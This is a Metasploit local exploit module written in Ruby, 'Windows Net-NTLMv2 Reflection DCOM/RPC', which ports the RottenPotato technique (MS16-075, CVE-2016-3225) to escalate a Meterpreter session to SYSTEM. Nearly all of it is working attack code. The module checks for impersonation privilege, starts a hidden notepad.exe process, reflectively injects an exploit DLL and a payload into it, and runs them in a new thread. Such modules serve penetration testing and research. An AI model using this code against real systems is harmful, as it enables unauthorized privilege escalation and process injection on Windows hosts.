Windows Net-NTLMv2 Reflection DCOM/RPC

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core/post/windows/reflective_dll_injection'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::FileInfo  
include Msf::Post::Windows::ReflectiveDLLInjection  
  
def initialize(info={})  
super(update_info(info, {  
'Name' => 'Windows Net-NTLMv2 Reflection DCOM/RPC',  
'Description' => %q(  
Module utilizes the Net-NTLMv2 reflection between DCOM/RPC  
to achieve a SYSTEM handle for elevation of privilege. Currently the module  
does not spawn as SYSTEM, however once achieving a shell, one can easily  
use incognito to impersonate the token.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'FoxGloveSec', # the original Potato exploit  
'breenmachine', # Rotten Potato NG!  
'Mumbai' # Austin : port of RottenPotato for reflection & quick module  
],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Platform' => 'win',  
'SessionTypes' => ['meterpreter'],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'none',  
'WfsDelay' => '20'  
},  
'Targets' =>  
[  
['Automatic', {}],  
['Windows x86', { 'Arch' => ARCH_X86 }],  
['Windows x64', { 'Arch' => ARCH_X64 }]  
],  
'Payload' =>  
{  
'DisableNops' => true  
},  
'References' =>  
[  
['MSB', 'MS16-075'],  
['CVE', '2016-3225'],  
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/'],  
['URL', 'https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/'],  
['URL', 'https://github.com/breenmachine/RottenPotatoNG']  
],  
'DisclosureDate' => 'Jan 16 2016',  
'DefaultTarget' => 0  
}))  
end  
  
def assign_target  
if target.name == 'Automatic'  
case sysinfo["Architecture"]  
when 'x86'  
vprint_status("Found we are on an x86 target")  
my_target = targets[1]  
when 'x64'  
vprint_status("Found we are on an x64 target")  
my_target = targets[2]  
else  
fail_with(Failure::NoTarget, "Unable to determine target")  
end  
else  
my_target = target  
end  
return my_target  
end  
  
def verify_arch(my_target)  
if my_target["Arch"] != sysinfo["Architecture"]  
print_error("Assigned Target Arch = #{my_target.opts['Arch']}")  
print_error("Actual Target Arch = #{sysinfo['Architecture']}")  
fail_with(Failure::BadConfig, "Assigned Arch does not match reality")  
end  
if client.arch != sysinfo["Architecture"]  
fail_with(Failure::BadConfig, "Session/Target Arch mismatch; WOW64 not supported")  
else  
vprint_good("Current payload and target Arch match....")  
end  
end  
  
def check  
privs = client.sys.config.getprivs  
if privs.include?('SeImpersonatePrivilege')  
return Exploit::CheckCode::Appears  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
my_target = assign_target  
print_status("#{my_target['Arch']}")  
verify_arch(my_target)  
if check == Exploit::CheckCode::Safe  
fail_with(Failure::NoAccess, 'User does not have SeImpersonate Privilege')  
end  
if my_target.opts['Arch'] == 'x64'  
dll_file_name = 'rottenpotato.x64.dll'  
vprint_status("Assigning payload rottenpotato.x64.dll")  
elsif my_target.opts['Arch'] == 'x86'  
dll_file_name = 'rottenpotato.x86.dll'  
vprint_status("Assigning payload rottenpotato.x86.dll")  
else  
fail_with(Failure::BadConfig, "Unknown target arch; unable to assign exploit code")  
end  
print_status('Launching notepad to host the exploit...')  
notepad_process = client.sys.process.execute('notepad.exe', nil, 'Hidden' => true)  
begin  
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)  
print_good("Process #{process.pid} launched.")  
rescue Rex::Post::Meterpreter::RequestError  
print_error('Operation failed. Trying to elevate the current process...')  
process = client.sys.process.open  
end  
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")  
library_path = ::File.join(Msf::Config.data_directory, "exploits", "rottenpotato", dll_file_name)  
library_path = ::File.expand_path(library_path)  
print_status("Injecting exploit into #{process.pid}...")  
exploit_mem, offset = inject_dll_into_process(process, library_path)  
print_status("Exploit injected. Injecting payload into #{process.pid}...")  
payload_mem = inject_into_process(process, payload.encoded)  
# invoke the exploit, passing in the address of the payload that  
# we want invoked on successful exploitation.  
print_status('Payload injected. Executing exploit...')  
process.thread.create(exploit_mem + offset, payload_mem)  
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')  
end  
end  
`